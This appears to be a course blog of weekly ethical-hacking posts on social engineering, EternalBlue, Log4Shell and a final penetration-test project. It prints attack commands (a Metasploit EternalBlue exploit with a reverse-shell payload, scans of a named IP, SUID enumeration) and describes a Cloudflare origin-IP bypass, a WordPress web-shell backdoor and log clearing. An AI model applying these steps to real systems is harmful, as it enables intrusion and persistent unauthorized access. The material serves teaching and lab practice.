Ethical Hacking Weekly Blog - 2702337230

 After weeks of preparation, our team successfully gained unauthorized access to the WordPress admin panel on server1.pentest.id , marking a major milestone in our simulated black-box penetration test. Breaking In Although earlier brute-force attempts failed, we eventually discovered a password hint left carelessly somewhere on the site. Using this, we bypassed authentication and logged in as the WordPress admin. Privilege Escalation: From Admin to Root Once inside the system, our goal shifted to escalating privileges and gaining full root access . SUID Binary Enumeration We executed a command to find all files with the SUID bit set: find / -perm -4000 - type f 2>/dev/null This revealed paths to root through misconfigured binaries like /dev/shm/rootbash and /tmp/rootbash , which could be exploited to run commands with elevated privileges. Post-Exploitation: Backdoor Access Using the Theme Editor in WordPress, we inserted a PHP web shell into the functions.php f...

This week, our team made initial progress in the final penetration testing project by successfully uncovering the real IP address of the target server, server1.pentest.id , which was originally hidden behind Cloudflare .  Real IP Discovery Identified IP: 103.127.137.243 Method: We used Censys , a search engine for internet-connected assets. By digging through historical DNS records and SSL/TLS certificate data, we were able to trace the origin IP — a reminder that even reverse proxies like Cloudflare can be bypassed with the right tools and research. Scanning & Enumeration Tools Once we had the real IP, we began actively scanning the server to find potential vulnerabilities: 1. Nmap Used for port and service discovery: nmap -sV -Pn 103.127.137.243 This scan revealed multiple open services (e.g., web, FTP, SSH) that could be potential entry points. 2. Nikto Scanned the web server for outdated software and known issues: nikto -h http://103.127.137.243 3. FFUF ...

Week 10 marked the start of our final project , where we’ll apply everything we’ve learned so far in a real-world penetration testing scenario. The goal is to simulate a complete ethical hacking engagement over the course of four weeks. Project Overview Target: server1.pentest.id Start Date: May 10, 10:00 AM Challenge: The target is protected by Cloudflare , which masks its real IP address using a reverse proxy. Project Tasks Identify the real IP hidden behind Cloudflare. Exploit vulnerabilities using known or custom techniques. Gain root access through privilege escalation. Document the entire process through: A 10-minute executive presentation A detailed technical report (DOCX) Important rules: No DoS/DDoS attacks You may clear logs and plant backdoors System configurations must not be altered or patched Lecture Recap: Vulnerability Research & Exploitation In addition to launching the project, this week’s lecture revisited t...

 This week, we participated in a forum-style session that explored real-world exploitation techniques , categorized into remote execution and local privilege escalation . These attacks represent the next steps after reconnaissance and vulnerability mapping — actually compromising a system. Category 1: Remote Code Execution (RCE) Remote execution occurs when an attacker is able to run code on a system without physical access — usually by exploiting a vulnerable service over the network. EternalBlue (CVE-2017-0144) Previously discussed in Weeks 6 and 7, EternalBlue targets Microsoft’s SMBv1 protocol. It allows attackers to gain full control over a system by sending crafted network packets to port 445. Once inside, malware like WannaCry or NotPetya can be deployed to spread or destroy. Log4Shell (CVE-2021-44228) A critical zero-day in Apache Log4j , a Java-based logging library. It allows attackers to perform remote code execution by injecting malicious input (e.g., into ...

The weakest link in an organization chain are humans. Some of the most damaging and well-known cyber attacks are not caused due to weak technology or a crack in the code, instead, humans. This week, we explored the most powerful and common forms of attack: social engineering . Rather than targeting software or hardware, these attacks focus on exploiting human behavior to gain unauthorized access or information.  Social Engineering Attack Process We broke down the social engineering attack lifecycle into four main phases: Intelligence Gathering – Researching the target through social media, company websites, or public records. Identifying Vulnerabilities – Pinpointing weak spots in communication channels or personal behaviors. Planning the Attack – Choosing a method, setting a goal, and crafting the approach. Execution – Carrying out the deception, such as sending a phishing email or impersonating an employee. Common Attack Techniques We studied psychological ...

Week 7 marked a shift from theory to hands-on practice. In a controlled lab environment, we simulated a real-world cyberattack by exploiting the EternalBlue vulnerability (CVE-2017-0144) using the Metasploit Framework (msfconsole) . Lab Setup We launched Metasploit using the msfconsole command and loaded the EternalBlue exploit module: use exploit/windows/smb/ms17_010_eternalblue We configured the required parameters: RHOSTS — the target machine’s IP LHOST — our own attacker machine’s IP To confirm the target was vulnerable, we scanned it using Nmap and verified that SMB (port 445) was open. The default payload used was: set PAYLOAD windows/x64/meterpreter/reverse_tcp This payload would establish a reverse shell , giving us remote access to the target system if the exploit was successful. Finally, we executed the attack with the exploit command. On success, we demonstrated control by creating a file with our name on the victim machine — proof of successful exploitat...